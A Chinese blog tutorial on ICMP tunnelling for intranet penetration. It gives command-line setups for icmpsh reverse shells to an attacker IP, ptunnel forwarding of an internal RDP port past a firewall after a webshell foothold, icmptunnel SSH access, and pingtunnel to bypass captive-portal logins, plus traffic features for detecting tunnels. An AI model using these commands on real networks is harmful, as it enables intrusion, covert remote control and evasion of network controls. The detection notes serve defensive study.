内网渗透-icmp通信原理&特征
一、ICMP隧道技术解析
icmp协议
Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP帧格式如下所示
类型和代码字段决定了ICMP报文的类型,如下图所示
ICMP隧道技术原理
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。
进行隐蔽传输的时候,肉鸡运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY回包中,发送给外部供给端。
ICMP隧道优点
优点:
1、防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高。
缺点:
1、ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低。
二、ICMP隧道攻击实现
icmpsh
git clone https://github.com/inquisb/icmpsh.git
受控端(客户端)只能运行在Windows机器上,而主控端(服务端)有三个版本
关闭攻击机的默认icmp应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
受害者(被控端)执行
icmpsh.exe -t 192.168.8.180
成功通过dns隧道反弹shell回来。
流量分析,icmp隧道和普通的icmp包有什么区别
建立隧道之后,是受害者不断发送icmp的request包,类似于给server段发送心跳
区别于正常的ICMP包,ICMP隧道的iIdentifier字段
1、 icmpsh的iIdentifier字段是默认写死的0001(大端)
2、正常的icmp传输的data长度是固定的,根据icmp包的长度是否规律也可以判断主机是否有问题。
3、一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生大量 ICMP 数据包。
4、正常的icmp请求和响应的数据部分内容是一样的。
ptunnel
ptunnel是一个icmp隧道中专的工具
将自身的icmp关闭
sysctl -w net.ipv4.icmp_echo_ignore_all=1
描述一个攻击场景,黑客拿下一个web服务器,但是这个web服务器有防火墙,这时只有一个webshell,发现内网一台脆弱主机,但是防火墙的出站规则很严格,通过tcp及以上协议进行流量转发都被防火墙过滤掉了,只有ping icmp协议未被防火墙阻断,此时就可以使用ptunnel进行icmp隧道中转。
在被控主机web服务器和黑客的VPS都安装ptunnel,被控web服务器直接执行ptunnel命令
黑客的vps执行
1 2 | ptunnel -p 123.56.6.160 -lp 3333 -da 172.16.7.6 -dp 3389 -p :跳板机的ip -lp:自己监听的端口 -da:内网目标的主机IP -dp:想连接的目标的端口 |
黑客最终就可以在vps上面链接127.0.0.1 3389或者在本机链接vps的110.23.2.45 3389实现内网端口转发出来入侵。
Icmptunnel
git clone https://github.com/jamesbarlow/icmptunnel.git cd icmptunnel&&make
使用场景和icmpsh一样(被攻击对象为linux的情况下)
攻击者IP:192.168.8.17
被攻击者的IP:192.168.8.37
攻击者开启icmptunnel服务端模式:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s
然后另开一个终端,执行命令
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)
被攻击者执行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.16
连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 指定IP地址为10.0.0.2
此时建立了icmp隧道,在服务器端通过ssh root@10.0.0.1连接被攻击对象
https://github.com/esrrhs/pingtunnel
使用pingtunnel icmp通道绕过某些场合如学校、咖啡厅、机场上网认证
下载对应的系统版本
server
关闭icmp echo reply
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
启动
sudo ./pingtunnel -type server
client
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5
使用浏览器配置sock5上网即可
设置浏览器的sock5代理到127.0.0.1:4455,如果连不上网,出现socks version not supported错误日志,说明浏览器的代理不是socks5代理。如果提示非安全连接,说明dns有问题,勾上浏览器的【使用socks5代理DNS查询】
参考链接:
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~